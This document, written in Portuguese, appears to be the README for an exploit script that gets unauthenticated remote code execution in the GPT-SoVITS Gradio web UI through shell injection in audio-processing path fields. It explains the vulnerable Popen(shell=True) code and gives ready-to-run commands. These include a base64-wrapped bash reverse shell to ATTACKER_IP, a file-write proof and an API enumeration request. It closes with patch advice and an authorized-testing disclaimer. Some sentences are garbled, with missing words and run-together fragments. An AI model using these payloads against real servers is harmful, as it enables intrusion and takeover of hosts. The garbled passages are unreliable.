
Exploit de injeção de comandos do sistema operacional sem autenticação para a interface web Gradio do GPT-SoVITS. Entrega RCE por meio de parâmetros de caminho não sanitizados em auxiliares de processamento de áudio, com suporte a reverse shells e escrita de arquivos para testes de segurança autorizados.
Execução remota de código não autenticada no web UI Gradio
(GPT-SoVITS (webui.py).
Os helpers de processamento de áudio (open_asr, open_slice, open_denoise, open_uvr5)
interpolam valores de caminho não sanitizados das caixas de texto do Gradio diretamente
em comandos de shell executados com Popen(..., shell=True). Os caminhos passam apenas por
clean_path(), que meramente remove aspas e espaços no início/fim — metacaracteres de shell
no meio sobrevivem. O campo asr_opt_dir nem sequer tem sua existência verificada, então
uma substituição de comando nele cai dentro de e é executada como o
usuário do processo do web UI. O web UI é distribuído , então uma única
solicitação é suficiente.
$(...)-o "$(...)"<= 20250606v2pro9874 (web UI Gradio, não autenticado)pip install gradio_client
# escreve a prova em um arquivo no alvo
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# shell reverso (o base64 mantém o payload sem aspas dentro do contexto $();
# bash -c é necessário porque o sink roda sob /bin/sh, que não tem /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
O comando injetado roda no servidor; a saída não é retornada, então use um shell reverso
(ou escreva em um caminho legível) para observar o resultado. asr_opt_dir é envolvido em
$(...), então ele é executado via substituição de comando independentemente de qualquer
modelo ASR estar instalado.
open_asr constrói e executa:
asr_opt_dir = clean_path(asr_opt_dir) # apenas remove aspas/espaços no início/fim
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NÃO tem existência verificada
Popen(cmd, shell=True) # /bin/sh executa $(...) dentro do -o "..."
A interface Gradio expõe sua superfície de API em /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Atualize para depois do GPT-SoVITS 20250606v2pro, nunca exponha o web UI a redes não
confiáveis e não o execute como um usuário privilegiado.
Apenas para testes de segurança autorizados e educação. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita para testar.